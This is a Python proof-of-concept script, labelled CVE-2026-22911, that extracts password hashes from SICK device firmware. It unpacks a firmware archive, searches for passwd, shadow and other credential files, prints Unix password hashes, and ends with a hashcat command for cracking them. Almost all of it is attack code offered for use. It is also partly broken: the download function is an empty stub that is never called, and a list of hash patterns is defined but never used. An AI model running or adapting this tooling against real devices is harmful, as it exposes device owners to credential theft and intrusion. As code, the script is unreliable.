#!/usr/bin/env python3
"""
CVE-2026-22911 PoC - SICK Device Firmware Password Hash Extraction
This PoC demonstrates how to extract password hashes from SICK device firmware.
Note: For authorized security testing only.
"""
import os
import sys
import subprocess
import re
import zipfile
import tarfile
def download_firmware(firmware_url, output_path):
"""Download firmware update file"""
print(f"[*] Downloading firmware from {firmware_url}")
# wget/curl command would be used here
pass
def extract_firmware(firmware_path, extract_dir):
"""Extract firmware archive"""
print(f"[*] Extracting firmware: {firmware_path}")
if firmware_path.endswith('.zip'):
with zipfile.ZipFile(firmware_path, 'r') as zip_ref:
zip_ref.extractall(extract_dir)
elif firmware_path.endswith(('.tar', '.tar.gz', '.tgz')):
with tarfile.open(firmware_path, 'r:*') as tar_ref:
tar_ref.extractall(extract_dir)
else:
# Try binwalk for compressed firmware
subprocess.run(['binwalk', '-e', firmware_path, '-C', extract_dir])
def find_password_hashes(extract_dir):
"""Search for password hash files in extracted firmware"""
print(f"[*] Searching for password hashes in {extract_dir}")
hash_files = []
hash_patterns = [
r'root:.*:\d{10}:', # /etc/passwd format
r'\$[1-6]\$.{8,16}\$.{22,86}', # Unix shadow hash
r'[a-f0-9]{32}', # MD5 hash
r'[a-f0-9]{40}', # SHA1 hash
]
for root, dirs, files in os.walk(extract_dir):
for file in files:
filepath = os.path.join(root, file)
if file in ['passwd', 'shadow', 'passwd.db', 'shadow.db', 'user.db', 'creds.dat']:
print(f"[+] Found credential file: {filepath}")
hash_files.append(filepath)
return hash_files
def extract_hashes_from_file(filepath):
"""Extract and display password hashes"""
print(f"[*] Analyzing {filepath}")
with open(filepath, 'r', errors='ignore') as f:
content = f.read()
# Extract Unix password hashes
unix_hashes = re.findall(r'(\w+:\$[1-6]\$[^:]+)', content)
if unix_hashes:
print(f"[+] Found Unix password hashes:")
for h in unix_hashes:
print(f" {h}")
return unix_hashes
def main():
print("=" * 60)
print("CVE-2026-22911 PoC - SICK Firmware Hash Extraction")
print("=" * 60)
# Step 1: Download firmware
firmware_url = "https://www.sick.com/firmware/SICK_device_firmware.zip"
firmware_path = "/tmp/SICK_firmware.zip"
extract_dir = "/tmp/firmware_extracted"
os.makedirs(extract_dir, exist_ok=True)
# Step 2: Extract firmware
extract_firmware(firmware_path, extract_dir)
# Step 3: Find password hash files
hash_files = find_password_hashes(extract_dir)
# Step 4: Extract hashes
all_hashes = []
for hf in hash_files:
hashes = extract_hashes_from_file(hf)
all_hashes.extend(hashes)
if all_hashes:
print(f"\n[!] Successfully extracted {len(all_hashes)} password hash(es)")
print("[*] Use hashcat/john to crack: hashcat -m 1800 hashes.txt wordlist.txt")
else:
print("[!] No password hashes found")
if __name__ == "__main__":
main()